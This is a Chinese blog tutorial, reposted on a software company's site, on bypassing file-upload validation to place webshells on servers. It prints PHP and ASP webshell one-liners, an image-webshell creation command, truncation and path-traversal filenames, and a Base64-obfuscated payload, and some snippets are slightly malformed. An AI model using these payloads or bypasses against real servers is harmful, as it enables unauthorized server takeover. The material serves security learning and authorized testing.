LOGO 首页 OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 技术文档 其他文档  
 
网站管理员

现在真的还有文件上传漏洞?谁家开发这么粗心?

admin
2026年8月14日 18:0 本文热度 51


1、师傅,现在真的还有文件上传漏洞?2、哪家的开发这么菜,还留着有这种低级漏洞……


嗯???


不给予评价,但漏洞是怎么个事咱必须得搞懂


文件上传漏洞的核心是:后端没做好校验,导致攻击者能上传恶意文件(WebShell)到服务器,然后通过访问这个文件获得服务器权限


而所谓的"绕过",就是在和后端的校验逻辑玩猫鼠游戏。后端检查什么,你就想办法让它检查不到、检查不准、或者检查了也没用


这里,先搞懂后端通常检查什么


检查项
检查什么
绕过思路
前端校验
文件后缀、MIME类型
直接改前端代码或用Burp绕过
Content-Type
请求头里的文件类型
改成合法类型
文件后缀
扩展名是否在黑/白名单里
大小写、双写、截断
文件头
文件的魔数(Magic Number
在文件头部插入合法文件头
文件内容
是否包含恶意代码
图片马、内容拆分
文件名重命名
是否覆盖/重命名
路径穿越、%00截断
目录权限
上传目录是否可执行
找其他可解析目录


分享常见绕过方法


一、前端绕过

前端校验是最弱的,因为攻击者可以完全控制前端

现象: JS代码里写死了只能传jpg/png

绕过方法:

  • 浏览器F12,直接删掉JS校验函数

  • 用Burp拦截请求,绕过前端直接发

  • 用浏览器开发者工具修改前端代码中的文件类型限制


二、Content-Type绕过

现象: 后端检查了Content-Type: image/jpeg,必须是图片类型才能上传

绕过: 用Burp拦截,把Content-Type改成image/jpeg

原:Content-Type: application/x-php改:Content-Type: image/jpeg

后端一看MIME类型是图片就放行了,不管文件内容是不是PHP(现在基本没有系统只靠Content-Type做校验了,但你做的项目多,偶尔还是能碰到)


三、文件后缀名绕过

这是最常见的绕过方向。后端通常有黑名单和白名单两种策略

黑名单绕过

黑名单的意思是"不允许这些后缀",其他都允许

常见的黑名单: asp、aspx、php、jsp、py 等

绕过思路:


1. 大小写绕过

.phP  -> 解析为php.AshX -> 解析为ashx

有些系统用黑名单匹配时没做大小写转换,只拦了.php,但PHp就认不出来了


2、双写后缀

shell.pphphp  -> 删掉php后变成 shell.phpshell.p.phphpp  -> 各种双写变体

后端黑名单删除了php字符串,但只删除一次,双写后还能拼回去


3. 利用系统特性后缀

有些后缀在特定服务器下能解析为动态脚本:

后缀
适用环境
.php3.php4.phtml
老版本PHP配置
.asa.cer.cdx
IIS + ASP环境
.jspx
Java环境
.ashx.asmx
.NET环境
.shtml
SSI注入

如果黑名单只拦了.php,但没拦.php3,就能直接绕过去


白名单绕过

白名单的意思是"只允许这些后缀",其他全部拒绝。

常见白名单: jpg、png、gif、pdf、docx 等。

绕过思路:


1. %00截断(老版本PHP)

shell.php%00.jpg

PHP 5.3之前,%00会被当作字符串结束符,后面的.jpg被截断,系统把文件当成shell.php保存并解析


2、换行截断

shell.php%0ajpg

某些情况下换行符也会导致解析异常


3、路径穿越

filename="../../shell.php"

如果后端直接把文件名拼到路径里,可能穿越到可执行目录


四、文件头绕过

现象: 后端用getimagesize()或检查文件的前N个字节来判断是否为合法图片。

绕过方法: 制作图片马。

# 在真实图片后面附加PHP代码echo '<?php eval($_POST["cmd"]);?>' >> image.jpg

或者用工具生成:

copy normal.jpg + shell.php image.jpg

这样文件头部是正常的图片格式(JFIF、PNG),getimagesize()能正常识别,但文件末尾藏着PHP代码


如果后端只检查文件头不检查内容,这个图片马就能上传成功


常见文件头:

文件类型
文件头(Hex
文件头(ASCII
JPEG
FF D8 FF E0
ÿØÿà
PNG
89 50 4E 47
.PNG
GIF
47 49 46 38
GIF8
PDF
25 50 44 46
%PDF


五、文件内容绕过

现象: 后端检查了文件内容是否有恶意代码(比如扫描<?php)。

绕过方法:

1. 短标签绕过

<? eval($_POST['cmd']); ?>          // 标准写法<?= system($_GET['cmd']); ?>        // 短标签<% eval request("cmd") %>           // ASP风格

如果后端只扫<?php,用短标签或ASP风格就能绕过


2、编码绕过

<?php$cmd base64_decode("c3lzdGVtKCRfR0VUWydjcmRdKTs=");eval($cmd);?>

把攻击代码变成Base64编码,规避关键字检测


六、文件名重命名绕过

现象: 后端强制重命名文件为时间戳.jpg,让你无法访问原文件名

绕过方法:

1. 找文件路径回显

如果上传后系统返回了文件保存路径,直接访问那个路径


2. 猜路径

上传shell.php,即使被重命名成20240101_123456.jpg,如果系统没有改扩展名,就生成一个图片马,用图片马的路径配合解析漏洞


3. 利用解析漏洞

如果服务器是IIS 6.0,/upload/test.asp/1.jpg这种路径会把jpg当成asp解析。名字怎么改都不影响


层层突破,是有一定难度!


吃不得苦,就不要学网安,人家也不放心交系统给你运维!


⚠️ 法律声明:以上内容仅供安全学习和授权测试使用。未经授权的漏洞利用属于违法行为,请勿对未经授权的目标进行测试


阅读原文:点击这里


该文章在 2026/8/14 18:00:28 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2026 ClickSun All Rights Reserved  粤ICP备13012886号-2  粤公网安备44030602007207号